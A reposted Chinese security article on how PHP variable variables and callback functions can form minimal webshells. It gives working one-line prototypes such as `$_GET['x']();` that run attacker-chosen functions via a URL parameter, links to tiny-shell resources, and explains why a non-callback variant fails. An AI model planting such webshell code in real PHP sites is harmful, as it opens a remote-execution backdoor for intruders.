你的位置:聚盟网 >> 网络学院 >> 入门 >> 详细内容 在线投稿

浅谈PHP可变变量安全续2

www.juoooo.com  2011年11月16日07:51  来源: 互联网   查看:   我要评论(0)  收藏  字号: TTT
Non alphanumeric code in PHP
php/" style="line-height: normal; ">http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
 
Tiny PHP Shell
http://h.ackack.net/tiny-php-shell.html
 
这两个东西就是可变变量和回调函数在WEBSHELL上的高级实战运用。
 
看过PHP手册应该知道可变变量不能直接使用超级全局变量,只能使用普通变量,所以我们要深入一个东西,必须理解它的原型。
 
首先是回调函数WEBSHELL的原型:
<?php
$_GET['x']();
?>
访问http://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行,回调函数的函数名不限制使用超级全局变量。
 
可变变量的WEBSHELL的原型:
<?php
$x = $_GET['x'];
$a = "${$x()}";
?>
访问://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行,可变变量可以使用普通变量。
 
可变变量的WEBSHELL的原型失败的例子:
<?php
$x = $_GET['x'];
$a = "${$x}";
?>
http://127.0.0.1/2.php?x=phpinfo
爆出Parse error: syntax error, unexpected T_STRING
http://127.0.0.1/2.php?x=phpinfo()
代码未执行
http://127.0.0.1/2.php?x=@phpinfo()
代码未执行
 
到这里我们应该清楚了很多,逐本溯源,PHP手册上说明了可变变量只是动态设置变量,变量包括变量名只是在传递数据,数据不会当成代码执行!
 
数据要当成代码执行需要进入函数的参数,由函数执行,所以可变变量要实战成为可用的webshell,并且脱离eval等函数,本质还是需要往函数中传入参数依靠动态函数也就是函数回调这一特性
摘自:RAyh4c的黑盒子

编辑: 伊小露
分享到:
顶:81 踩:93
【已经有464人表态】
58票
超赞
58票
震惊
53票
不解
56票
愤怒
60票
支持
56票
高兴
60票
无聊
63票
杯具
发表评论

网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

查看全部回复【已有0位网友发表了看法】
糗事吧 牛吧 私房话 经典吧
祝福墙许愿墙
随手记-天天记帐本
邀请达人
2013祝福短信,节日祝福语